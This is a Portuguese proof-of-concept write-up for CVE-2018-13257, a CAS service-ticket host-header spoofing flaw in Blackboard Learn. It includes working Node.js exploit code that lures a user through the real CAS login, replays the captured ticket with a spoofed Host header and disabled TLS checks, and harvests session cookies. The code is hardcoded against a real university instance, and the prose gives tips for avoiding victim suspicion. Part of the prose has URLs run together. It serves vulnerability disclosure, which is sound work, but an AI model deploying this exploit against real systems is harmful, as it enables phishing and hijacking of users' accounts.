
Exploit de prova de conceito para CVE-2018-13257 demonstrando falsificação de cabeçalho de host CAS no Blackboard Learn para sequestrar sessões de usuário através de um site intermediário malicioso.
Um módulo de autenticação dentro do Blackboard Learn é suscetível a falsificação de cabeçalho de host HTTP durante a validação de ticket de serviço do Central Authentication Service (CAS). Um ticket de serviço CAS é destinado apenas a um serviço específico, mas o Blackboard Learn não verifica adequadamente se esse serviço é a instância atual. Isso permite um ataque de phishing onde os usuários acreditam estar inserindo seus detalhes de single sign-on para um determinado site, quando esse site malicioso, em vez disso, usa o ticket de serviço para autenticar como aquele usuário em uma instância do Blackboard Learn.
Um atacante configuraria attacker.example para autenticar como outro usuário em uma instância do Blackboard Learn em blackboard.example, que valida tickets de serviço através de cas.example.
Os seguintes eventos ocorrem quando um usuário visita .
attacker.examplehttps://cas.example/cas/login?service=https%3A%2F%2Fattacker.example%2Fwebapps%2Fbb-auth-provider-cas-BB5849b9bae4172%2Fexecute%2FcasLogin%3Fcmd%3Dlogin%26authProviderId%3D_102_1%26redirectUrl%3Dhttps%253A%252F%252Fblackboard.example%252Fwebapps%252Fportal%252Fexecute%252FdefaultTab%26globalLogoutEnabled%3Dtrue&renew=truecas.example. Muito provavelmente confiará nela, pois é a tela de login padrão da sua instituição em um domínio confiável. A página de login informará que está autenticando em attacker.example.attacker.example: https://attacker.example/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleattacker.example agora realizará uma requisição HTTP GET contra blackboard.example usando o ticket de serviço ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.example obtido no passo anterior. A requisição GET acessará blackboard.example com um cabeçalho de host de: attacker.example: https://attacker.example//webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleblackboard.example responderá ao backend de attacker.example com cookies autenticando o usuário alvo na instância do Blackboard Learn.Se attacker.example é um site em que indivíduos de uma instituição confiam regularmente (ex: página inicial da instituição), a comprometimento desse site significaria que a instância do Blackboard Learn da instituição também estaria razoavelmente comprometida com esta vulnerabilidade.
Para evitar suspeitas, attacker.example poderia redirecionar o usuário de volta para a página de login do sso.example após o passo 5 e executar as funções esperadas de attacker.example a partir daí. O usuário veria que precisa clicar em "log in" duas vezes, mas o redirecionamento acontece rápido o suficiente para que o usuário não possa ter certeza de que saiu da página de login e voltou.
Deve-se notar que CVE-2017-18262 é distinta desta vulnerabilidade. CVE-2017-18262 é uma vulnerabilidade na validação de redirectTo. Esta vulnerabilidade envolve uma falha no parâmetro de URL service enviado ao endpoint de login de validação.
Usar CVE-2017-18262 para phishing de credenciais requer configurar um login de phishing que imite a aparência de cas.example. Esta vulnerabilidade ocorre diretamente em cas.example, mas exige que o usuário inicialmente visite attacker.example.
Isso foi testado contra lms.uconn.edu com brc15007 como o usuário falsificado. lms.uconn.edu é uma instância do Blackboard Learn gerenciada pela Blackboard Inc. hospedada na Amazon Web Services.
index.js
const crypto = require('crypto')
const Koa = require('koa')
const session = require('koa-session')
const FakeCas = require('./lib/fake-cas')
// The koa-basic-auth module is used purely to protect this POC from being used
// by unauthorized test users.
const auth = require('koa-basic-auth')
const CAS_SERVER = 'https://login.uconn.edu'
const BLACKBOARD_INSTANCE = 'https://lms.uconn.edu'
const VULNERABLE_ENDPOINT = `/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=${encodeURIComponent(BLACKBOARD_INSTANCE)}%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true`
const POC_APP_USERNAME = 'i-accept-that-my-login-will-be-spoofed-for-testing'
const POC_APP_PASSWORD = 'fH71FnffjycEtMLdqd2zCAwavDzW8HdCaayHrQ4E'
const app = new Koa()
app.keys = [crypto.randomBytes(256)]
app.use(session(app))
app.use(auth({ name: POC_APP_USERNAME, pass: POC_APP_PASSWORD }))
const cas = FakeCas({
service: ctx => `https://${ctx.host}${VULNERABLE_ENDPOINT}`,
server: CAS_SERVER
})
app.use(cas.fakeCredentialRequestor({
attackUrl: ticket =>
BLACKBOARD_INSTANCE +
VULNERABLE_ENDPOINT +
'&ticket=' + ticket
}))
app.use(async ctx => {
ctx.body = `If I was a bad person, I would use the following cookies to login as you into ${BLACKBOARD_INSTANCE}.\n\n` +
ctx.session.cookieString
ctx.session = null
})
app.listen(3000)
lib/fake-cas.js
const https = require('https')
const fetch = require('isomorphic-fetch')
function createCASMiddleware (options = {}) {
const server = options.server
const service = options.service
const loginUrl = options.login || '/cas/login'
function fakeCredentialRequestor ({ attackUrl }) {
return async (ctx, next) => {
if (!ctx.session.cookieString && !ctx.request.query.ticket) {
const returnUrl = encodeURIComponent(service(ctx))
ctx.redirect(
server + loginUrl +
'?service=' + returnUrl +
'&renew=true')
return
}
if (ctx.request.query.ticket) {
const attack = attackUrl(ctx.request.query.ticket)
const res = await fetch(attack, {
headers: { 'host': ctx.request.host },
// rejectUnauthorized is required since we're spoofing the host
// header and ctx.request.host liekly won't be in the endpoint's HTTPS
// certificate.
agent: new https.Agent({ rejectUnauthorized: false })
})
const cookieString = res.headers._headers['set-cookie']
.map(cookie => cookie.match(/^(.*?);/)[1])
.map(cookie => `document.cookie = '${cookie}'`)
.join('\n')
ctx.session.cookieString = cookieString
console.log(cookieString)
ctx.status = 308
ctx.redirect('/')
return
}
await next()
}
}
return { fakeCredentialRequestor }
}
module.exports = createCASMiddleware
package.json
{
"private": true,
"main": "index.js",
"scripts": {
"dev": "nodemon index"
},
"devDependencies": {
"nodemon": "^1.17.5",
"standard": "^11.0.1"
},
"dependencies": {
"isomorphic-fetch": "^2.2.1",
"koa": "^2.5.1",
"koa-basic-auth": "^3.0.0",
"koa-session": "^5.8.1",
"query-string": "^5.0.1",
"xml2js": "^0.4.19"
}
}